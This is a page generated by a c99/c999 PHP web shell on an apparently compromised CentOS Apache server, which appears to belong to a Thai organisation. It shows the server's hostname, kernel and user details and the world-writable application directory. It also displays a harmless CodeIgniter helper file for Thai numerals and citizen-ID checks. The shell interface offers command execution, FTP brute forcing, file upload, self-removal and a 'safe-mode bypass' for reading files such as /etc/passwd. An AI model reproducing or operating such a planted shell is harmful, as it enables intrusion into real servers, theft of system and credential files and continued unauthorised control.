!c99Shell v. 1.0 pre-release build #16!

Software: Apache/2.2.3 (CentOS). PHP/5.1.6 

uname -a: Linux mx-ll-110-164-51-230.static.3bb.co.th 2.6.18-194.el5PAE #1 SMP Fri Apr 2 15:37:44
EDT 2010 i686
 

uid=48(apache) gid=48(apache) groups=48(apache) 

Safe-mode: OFF (not secure)

/var/www/html/mis2222/application/helpers/   drwxrwxrwx
Free 50.65 GB of 127.8 GB (39.63%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     rg_helper.php (2.49 KB)      -rwxr-xr-x
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php
function setValue($fieldName$rw$flg='' ,$v='') {
    if(
$flg=='') {
        if ( 
set_value($fieldName) <> '') {
            
$v set_value($fieldName);
        } elseif ( !
is_null($rw) ) {
            
$v = @$rw->$fieldName;
        }
        return 
$v;
    } else {
        return 
"";
    }
}

function 
explodeSquare($str) {
    
$tmpStr explode('^'$str);
    
$i 0;
    
$newStr '';
    while(
$i count($tmpStr)) {
        
$newStr .= $tmpStr[$i];
        
$i++;
    }
    return 
$newStr;
}

function 
a2th($str){  //แปลงเป็นเลขไทย
    
return str_replace(array( '0' '1' '2' '3' '4' '5' '6' ,'7' '8' '9' ),  
    array( 
"๐" "๑" "๒" "๓" "๔" "๕" "๖" "๗" "๘" "๙" ),  
    
$str);  
}

function 
th2a($str){  //แปลงเป็นเลขอารบิก
    
return str_replace(array( "๐" "๑" "๒" "๓" "๔" "๕" "๖" "๗" "๘" "๙" ),  
    array( 
'0' '1' '2' '3' '4' '5' '6' ,'7' '8' '9' ),  
    
$str);  
}

function 
checkCitizen($id){//เช็ค fomat เลขบัตรประจำตัวประชาชน
    
if(strlen($id)==13){
        
$arr substr($id0);
        
$sumV 0;
        for(
$i=0;$i<12;$i++) $sumV+=$arr[$i]*(13 $i);
        
$modV=11-($sumV%11);
        if(
$modV>9$modV-=10;
        if(
$modV!=$arr[12]) return false;
        else return 
true;
    }else return 
false;
}

function 
thaiCharacter() {
    
$opt = array();

    
$opt[''] = '';
    
$opt['ก'] = 'ก';
    
$opt['ข'] = 'ข';
    
$opt['ฃ'] = 'ฃ';
    
$opt['ค'] = 'ค';
    
$opt['ฅ'] = 'ฅ';
    
$opt['ฆ'] = 'ฆ';
    
$opt['ง'] = 'ง';
    
$opt['จ'] = 'จ';
    
$opt['ฉ'] = 'ฉ';
    
$opt['ช'] = 'ช';
    
$opt['ซ'] = 'ซ';
    
$opt['ฌ'] = 'ฌ';
    
$opt['ญ'] = 'ญ';
    
$opt['ฎ'] = 'ฎ';
    
$opt['ฏ'] = 'ฏ';
    
$opt['ฐ'] = 'ฐ';
    
$opt['ฑ'] = 'ฑ';
    
$opt['ฒ'] = 'ฒ';
    
$opt['ณ'] = 'ณ';
    
$opt['ด'] = 'ด';
    
$opt['ต'] = 'ต';
    
$opt['ถ'] = 'ถ';
    
$opt['ท'] = 'ท';
    
$opt['ธ'] = 'ธ';
    
$opt['น'] = 'น';
    
$opt['บ'] = 'บ';
    
$opt['ป'] = 'ป';
    
$opt['ผ'] = 'ผ';
    
$opt['ฝ'] = 'ฝ';
    
$opt['พ'] = 'พ';
    
$opt['ฟ'] = 'ฟ';
    
$opt['ภ'] = 'ภ';
    
$opt['ม'] = 'ม';
    
$opt['ย'] = 'ย';
    
$opt['ร'] = 'ร';
    
$opt['ล'] = 'ล';
    
$opt['ว'] = 'ว';
    
$opt['ศ'] = 'ศ';
    
$opt['ษ'] = 'ษ';
    
$opt['ส'] = 'ส';
    
$opt['ห'] = 'ห';
    
$opt['ฬ'] = 'ฬ';
    
$opt['อ'] = 'อ';
    
$opt['ฮ'] = 'ฮ';

    return 
$opt;
}

function 
thaiVowel() {
    return array( 
"เ" "แ" "โ" "ไ" "ใ" );
}
?>

:: Command execute ::

Enter:
 
Select:
 

:: Shadow's tricks :D ::

Useful Commands
 
Warning. Kernel may be alerted using higher levels
Kernel Info:

:: Preddy's tricks :D ::

Php Safe-Mode Bypass (Read Files)

File:

eg: /etc/passwd

Php Safe-Mode Bypass (List Directories):

Dir:

eg: /etc/

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c999shell v. 1.0 pre-release build #16 Modded by Shadow & Preddy | RootShell Security Group | r57 c99 shell | Generation time: 0.0109 ]--